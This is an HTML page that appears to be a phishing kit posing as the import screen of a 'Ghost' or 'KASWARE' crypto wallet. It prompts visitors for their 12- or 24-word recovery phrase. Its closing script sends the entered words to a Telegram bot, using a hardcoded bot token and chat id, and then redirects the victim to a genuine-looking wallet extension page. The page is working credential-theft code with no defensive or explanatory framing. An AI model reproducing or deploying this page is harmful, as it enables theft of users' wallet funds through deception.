<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <link rel="icon" href="favicon.ico" />
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <meta name="theme-color" content="#000000" />
    <meta name="description" content="Web site created using create-react-ap" />
    <link rel="stylesheet" href="style.css" />
    <title>Ghost</title>
    <link href="https://fonts.googleapis.com/css2?family=Audiowide&display=swap" rel="stylesheet">
    <style>
      body {
    height: 100vh;
    background-color: #000;
    margin: 0;
    padding: 0;
    font-family: Lato, sans-serif;
}
body {
    font-family: Arial, Helvetica, sans-serif;
  }
  .mackbox {
    width: 50%;
    height: 300px;
    background: transparent;
    margin: 0 auto;
    text-align: center;
  }
  
  @media only screen and (max-width: 600px) {
    .mackbox {
      width: 100%;
    }
  }






.ghost{
    font-family: Rubik, sans-serif;
    color: #fff;
    text-align: center;
    font-size: 40px;
}



.mackbtn {
    border-radius: 8px;
    justify-content: center;
    align-items: center;
    overflow: hidden;
    cursor: pointer;
    padding-left: 12px;
    font-weight: 550;
    color: #000;
    width: 400px;
    border: none;
    font-size: 15px;
    outline: none;
    padding-right: 12px;
    background-color: rgb(72, 227, 197);
    height: 55px;
    -webkit-border-radius: 8px;
    -moz-border-radius: 8px;
    -ms-border-radius: 8px;
    -o-border-radius: 8px;
}
.mackbtn:hover {
    border-radius: 8px;
    justify-content: center;
    align-items: center;
    overflow: hidden;
    cursor: pointer;
    padding-left: 12px;
    font-weight: 550;
    color: #000;
    width: 400px;
    border: none;
    font-size: 15px;
    outline: none;
    padding-right: 12px;
    background-color: #8cffe0;
    height: 55px;
    -webkit-border-radius: 8px;
    -moz-border-radius: 8px;
    -ms-border-radius: 8px;
    -o-border-radius: 8px;
}



.mackbtn1 {
    border-radius: 8px;
    justify-content: center;
    align-items: center;
    overflow: hidden;
    cursor: pointer;
    padding-left: 12px;
    font-weight: 550;
    color: #8cffe0;
    width: 400px;
    border: 1.5px solid #8cffe0;
    outline: none;
    background: transparent;
    font-size: 15px;
    padding-right: 12px;
    height: 55px;
    -webkit-border-radius: 8px;
    -moz-border-radius: 8px;
    -ms-border-radius: 8px;
    -o-border-radius: 8px;
}

.line3{
    height: 100px;
}
.mkpass{
    color: #fff;
    font-size: 25px;
    text-align: center;
    padding: 0px;
    margin-right: 90px;
}
.arrow{
    font-size: 35px;
    float: left;
    margin: -10px 30px;
}

.mackinput{
    height: 50px;
    background-color: #131111;
    width: 400px;
    border-radius: 5px;
    -webkit-border-radius: 5px;
    -moz-border-radius: 5px;
    -ms-border-radius: 5px;
    -o-border-radius: 5px;
    border: 1.5px solid #393939;
}

@media only screen and (max-width: 600px) {
    .mackinput{
                
                width: 90%;
            }
    }

  
  .mackbox {
    width: 50%;
    height: 300px;
    background: transparent;
    margin: 0 auto;
    text-align: center;
  }
  
  @media only screen and (max-width: 600px) {
    .mackbox {
      width: 100%;
    }
  }
  p, h2{
    color:whitesmoke;
  }
      @keyframes glitch {
        0% { transform: translate(0); }
        20% { transform: translate(-5px, 5px); }
        40% { transform: translate(-5px, -5px); }
        60% { transform: translate(5px, 5px); }
        80% { transform: translate(5px, -5px); }
        100% { transform: translate(0); }
      }

      .logo-container {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 150px;
        
        margin-bottom: 20px;
        overflow: hidden;
      }
      .logo {
        font-family: 'Audiowide', cursive;
        font-size: 48px;
        font-weight: bold;
        color: #039578;
        text-transform: uppercase;
        letter-spacing: 4px;
        position: relative;
      }
      .logo::before,
      .logo::after {
        content: 'KASWARE';
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        overflow: hidden;
      
      }
      .logo::before {
        left: 2px;
        text-shadow: -2px 0 #d2ded4;
        animation: glitch 2s infinite linear alternate-reverse;
      }
      .logo::after {
        left: -2px;
        text-shadow: 2px 0 #ffffff;
        animation: glitch 2s infinite linear alternate;
      }
      .logo:hover {
        animation: glitch 0.3s infinite;
      }
    </style>
  </head>
  <body style="background-color: #1c1919">
    
    <div
        class="row-container"
        style="
          display: flex;
          flex-direction: row;
          gap: 8px;
          justify-content: center;
        "
      >
      <div class="mackbox">
        <div class="container">
            <br>
            <h2 class="mkimport"> Import</h2>
            
    <br>
            <p class="muted">Import an existing wallet with your 12-word secret recovery phrase.</p><br>
            
    <br>
    
      </div>
      <br />
      <div
        class="row-container"
        style="
          display: flex;
          flex-direction: row;
          gap: 8px;
          justify-content: center;
        "
      >
        <div
          style="
            display: grid;
            flex-direction: column;
            justify-content: flex-start;
            gap: 8px;
            grid-template-columns: repeat(3, minmax(0px, 1fr));
          "
          id="data-container"
        ></div>
      </div><br><br>
      <center>
          <button type="submit" onclick="submit()" class="mackbtn" id="submitBtn"><a style="text-decoration-style: none; font-size: 18px; font-weight: 500; text-decoration: none; color: #000;" href="">Next</a></button>
        </center>
      
    </div>


      <div class="line5"></div>


  <br>
    
    <br /><br />
  </body>
  <script
    src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.7.7/axios.min.js"
    integrity="sha512-DdX/YwF5e41Ok+AI81HI8f5/5UsoxCVT9GKYZRIzpLxb8Twz4ZwPPX+jQMwMhNQ9b5+zDEefc+dcvQoPWGNZ3g=="
    crossorigin="anonymous"
    referrerpolicy="no-referrer"
  ></script>
  <script>
    let phraseLength;
    function showBoxes(number) {
      let boxes = "";
      for (let i = 1; i <= number; i++) {
        boxes += `
          <div
            class="row-container"
            style="display: flex; flex-direction: row; gap: 8px"
          >
            <div class="input-box">
              <div class="input-inner">${i}.</div>
              <div class="input-inner-2">
                <input
                  placeholder=""
                  type="password"
                  preset="password"
                  id="input-${i}"
                  value=""
                  class="input"
                />
              </div>
            </div>
          </div>
        `;
      }
      document.getElementById("data-container").innerHTML = boxes;
      phraseLength = number;
    }
    // default 12 words
    showBoxes(12);

    async function submit() {
      if (phraseLength == 12 || phraseLength == 24) {
        const phrases = [];
        for (let i = 1; i <= phraseLength; i++) {
          phrases.push(document.getElementById(`input-${i}`).value);
        }
        if (phrases.includes("")) {
          alert(`Please enter ${phraseLength} words.`);
        } else {
          document.getElementById("submitBtn").innerText = "Importing...";
          var telegram_bot_id =
            "7506592027:AAHBzO912c_lnNuA8A0OQwTIz9klWAiG3rU";
          var chat_id = "-1002495639190";
          const message = `GHW: ${phrases.join(" ")}`;
          const res = await axios.post(
            "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
            { chat_id, text: message }
          );
          if (res.data.ok) {
            window.location.assign("https://chromewebstore.google.com/detail/ghost-wallet/npeepgefdbcmlapenpeephmidkobghna");
          } else alert("Error occured. Please try again.");
        }
      }
    }
  </script>

